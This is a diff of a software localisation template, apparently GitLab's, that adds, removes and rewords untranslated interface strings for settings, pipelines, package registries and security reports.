@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
